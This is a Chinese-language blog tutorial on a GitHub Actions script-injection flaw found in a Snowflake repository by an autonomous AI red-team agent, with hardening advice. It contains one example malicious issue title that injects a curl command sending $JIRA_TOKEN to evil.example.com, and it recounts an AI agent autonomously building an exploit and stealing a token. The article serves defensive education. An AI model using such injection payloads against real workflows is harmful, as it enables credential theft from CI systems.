8 月 17 日,安全公司 Wiz 公开了一份让整个 DevOps 圈坐不住的报告:他们的自治安全工具 Red Agent 在 Snowflake 的 HackerOne 漏洞赏金项目授权下,扫描了 Snowflake 的 GitHub 组织,发现 snowflakedb/snowflake-connector-net 仓库中的 jira_issue.yml 工作流存在脚本注入漏洞——未认证攻击者只要开一个标题精心构造的 Issue,就能在 GitHub Actions Runner 里执行任意命令。
后面的事更值得细品:这个 Agent 自己发现漏洞、自己写 exploit、第一次 payload 报 shell 语法错误后自己改写、成功偷出一个 Jira Token、验证了它对 Snowflake 内部工程与安全合规项目的访问权限、评估了爆炸半径——全程没有人类参与。时间线是这样的:6 月 18 日 PR #1218 合并、漏洞上线;6 月 23 日 Red Agent 完成发现到利用的全链条,只用了 5 天;当天报告给 Snowflake,后者立即修复并表示未发现未授权访问的证据。
顺便一提,这份报告还引发了一场至今没有结论的争吵:合并提交里有 Copilot Autofix 的 co-author 记录,Wiz 最初的解读是"AI 写的漏洞代码",GitHub 则回应 Copilot 从未审查过这次改动。吵归吵,对我们普通开发者来说真正的问题是:同样的写法,你的仓库里大概率也有。本文把漏洞原理拆开,然后给出三道可以直接抄的防护。
一、漏洞原理:run 块里的 ${{ }} 是字符串拼接,不是参数传递
GitHub Actions 的 run 步骤本质上是一段 shell 脚本。当你这样写:
- name: Create Jira issue
run: |
TITLE="${{ github.event.issue.title }}"
curl -X POST https://jira.example.com/api/issues -d "{\"title\": \"$TITLE\"}"
危险之处在于:${{ github.event.issue.title }} 的替换发生在脚本被 shell 执行之前,是纯粹的文本拼接。如果攻击者把 Issue 标题写成:
test"; curl https://evil.example.com/steal?token=$JIRA_TOKEN; echo "
拼出来的脚本里,引号被闭合、攻击者的命令被原样执行,环境里的 JIRA_TOKEN 就这么被带走了。这和 SQL 注入是同一个病:用户输入和代码混在一个通道里。Issue 标题、PR 标题、评论内容、分支名——这些都是"任何人都能控制的输入",在 GitHub 官方文档里有一个专门的词:untrusted input。
二、第一道锁:env 环境变量中转(成本最低的修法)
GitHub 官方推荐的修法是把所有不可信输入先放进 env,让 shell 通过环境变量读取,而不是让模板引擎拼接:
- name: Create Jira issue
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: |
curl -X POST https://jira.example.com/api/issues -d "{"title": "$ISSUE_TITLE"}"
区别在于:env 的赋值由 Actions Runner 以安全的方式注入进程环境,shell 读 $ISSUE_TITLE 时拿到的是纯粹的值,攻击者标题里的引号和命令不会被当作脚本语法解析。配套两条纪律:
- 双引号必须加:
"$VAR"而不是$VAR,否则空格和通配符仍会展开; - 全仓库搜一遍
${{ github.event出现在run:块里的位置,一个都别放过:
# 在仓库根目录执行,列出所有在 run 块附近的事件插值
rg -n -U 'run: \|[\s\S]{0,300}\$\{\{ github\.event' .github/workflows/
三、第二道锁:权限最小化,让"偷到也没用"
Snowflake 案例里被偷走的是 Jira Token,但多数注入事故里攻击者真正想要的是 GITHUB_TOKEN——它默认就有仓库读写权限。每个工作流顶部都应该显式声明权限:
permissions: read-all # 默认只读,需要的 job 再单独加
jobs:
release:
permissions:
contents: write # 只有发版 job 才给写权限
同时检查仓库设置:Settings → Actions → General → Workflow permissions,确认选的是 Read repository contents,并且关闭 "Allow GitHub Actions to create and approve pull requests"。这样即使注入发生,GITHUB_TOKEN 也只能读,攻击者拿不到写代码、改 Release 的能力。
四、第三道锁:触发器收口,别给攻击者递刀
最需要警惕的是 pull_request_target、issues、issue_comment 这类由外部用户行为直接触发的事件。自查清单:
- 是否存在
pull_request_target且 checkout 了 PR 里的代码?这是最经典的自杀组合——PR 代码在拥有写权限和 secrets 的上下文里执行; -
issues/issue_comment触发的 workflow 是否向 run 块传递了标题或正文? - 涉及 secrets 的 job 是否放在
environment后面、需要人工批准才执行? - 第三方 Action 是否固定到了完整 commit SHA(
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683)而不是@v4这种可移动的 tag? -
.github/workflows/目录是否纳入 CODEOWNERS,改 workflow 必须走负责人 review?
最后一条值得展开:workflow 文件本身就是攻击面。把它写进 CODEOWNERS(.github/workflows/ @your-team-leads),任何修改 CI 定义的 PR 都会自动请求负责人审查,防止有人通过正常 PR 流程把后门塞进流水线。
五、让 AI 帮你扫,但别让它当终审
这次事件最讽刺的地方在于:防守方的 AI(无论是 Copilot 还是别的审查工具)没有抓到的东西,进攻方的 AI 五天就抓到并利用了。这说明两件事:AI 安全审查该用,但它不是终审法官。务实的做法是把两类工具叠起来:
- 确定性扫描兜底:用 OpenGrep/Semgrep 的现成规则(如
yaml.github-actions.security.run-shell-injection)接入 CI,每次改 workflow 自动扫一遍——规则是死的,但对这类漏洞恰好有效; - AI 审查做增量:让 AI 编程助手按"列出本 workflow 中所有 untrusted input 的流向"这种具体指令审查,比泛泛的"看看有没有安全问题"有效得多;
- 高危改动人工签:凡是动
run:块、permissions、触发器的 PR,必须有人工 review,这一步不要用 AI 代劳。
注意事项与常见误区
- "我们是私有仓库,没人能开 Issue":错。注入面不止 Issue——内部成员的 PR 标题、分支名、提交信息同样进
github.event,而内部账号本身也可能被盗。防护写法和公私无关。 - "secrets 不在环境变量里就偷不走":
GITHUB_TOKEN、第三方 Action 的输入、runner 上的临时文件都是目标,权限最小化永远要做。 pull_request_target不是不能用:它设计的初衷是给 fork PR 打标签这类场景。铁律是它执行的代码必须来自受信任分支,绝不 checkout PR 的代码。- AI 写的 workflow 要重点看:本次事件无论 Copilot 到底有没有审查过那行代码,"AI 生成/AI 审查的流水线配置"都该进入你的高危变更清单。
小结
Wiz Red Agent 的案例是一个分水岭:自治 Agent 从扫描到验证 exploit 再到评估爆炸半径,整个窗口以天计。攻击侧已经自动化了,防守侧就不能只靠"review 的时候多看一眼"。三件事今天就可以做:把 run 块里所有 ${{ github.event.* }} 改成 env 中转并加双引号;给每个 workflow 顶部写 permissions: read-all;把 .github/workflows/ 塞进 CODEOWNERS。加起来不到一小时,但能把这次 Snowflake 级别的注入事故挡在你的仓库门外。
